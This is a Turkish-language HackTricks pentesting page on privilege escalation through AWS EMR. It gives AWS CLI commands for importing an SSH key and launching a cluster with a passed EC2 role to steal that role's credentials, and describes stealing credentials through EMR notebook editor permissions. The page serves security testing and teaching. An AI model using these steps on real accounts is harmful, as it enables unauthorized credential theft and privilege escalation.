AWS - EMR Privesc

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

EMR

EMR hakkında daha fazla bilgi için:

https://github.com/carlospolop/hacktricks-cloud/blob/tr/pentesting-cloud/aws-security/aws-hizmetleri/aws-emr-enum.md

iam:PassRole, elasticmapreduce:RunJobFlow

Bu izinlere sahip bir saldırgan, EC2 rollerini ekleyerek yeni bir EMR kümesi çalıştırabilir ve kimlik bilgilerini çalmaya çalışabilir. Bunun için hesaba ithal edilmiş bir ssh özel anahtarı bilmek veya bir tane ithal etmek ve ana düğümde 22 numaralı bağlantı noktasını açabilmek gerekmektedir (bunu --ec2-attributes içindeki EmrManagedMasterSecurityGroup ve/veya ServiceAccessSecurityGroup öznitelikleriyle yapabilirsiniz).

# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
chmod 400 /tmp/sshkey
base64 /tmp/sshkey.pub > /tmp/pub.key
aws ec2 import-key-pair \
--key-name "privesc" \
--public-key-material file:///tmp/pub.key


aws emr create-cluster \
--release-label emr-5.15.0 \
--instance-type m4.large \
--instance-count 1 \
--service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc

# Wait 1min and connect via ssh to an EC2 instance of the cluster)
aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances

EMR rolü --service-role içinde belirtilir ve ec2 rolü --ec2-attributes içinde InstanceProfile içinde belirtilir. Ancak, bu teknik sadece EC2 rolü kimlik bilgilerini çalmaya izin verir (ssh üzerinden bağlantı kuracağınız için) ancak EMR IAM Rolünü çalmaya izin vermez.

Potansiyel Etki: Belirtilen EC2 hizmet rolüne ayrıcalık yükseltme.

elasticmapreduce:CreateEditor, iam:ListRoles, elasticmapreduce:ListClusters, iam:PassRole, elasticmapreduce:DescribeEditor, elasticmapreduce:OpenEditorInConsole

Bu izinlerle bir saldırgan AWS konsoluna gidebilir, bir Not Defteri oluşturabilir ve ona erişerek IAM Rolünü çalabilir.

Not defteri örneğine bir IAM rolü ekleseniz bile, testlerimde fark ettiğim gibi, AWS tarafından yönetilen kimlik bilgilerini çalabildim ve IAM rolüyle ilgili kimlik bilgilerini çalamadım.

Potansiyel Etki: AWS tarafından yönetilen rol arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile'e ayrıcalık yükseltme.

elasticmapreduce:OpenEditorInConsole

Sadece bu izinle bir saldırgan, Jupyter Notebook'a erişebilir ve ona bağlı IAM rolünü çalabilir. Not defterinin URL'si https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/ şeklindedir.

Not defteri örneğine bir IAM rolü ekleseniz bile, testlerimde fark ettiğim gibi, AWS tarafından yönetilen kimlik bilgilerini çalabildim ve IAM rolüyle ilgili kimlik bilgilerini çalamadım.

Potansiyel Etki: AWS tarafından yönetilen rol arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile'e ayrıcalık yükseltme.

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated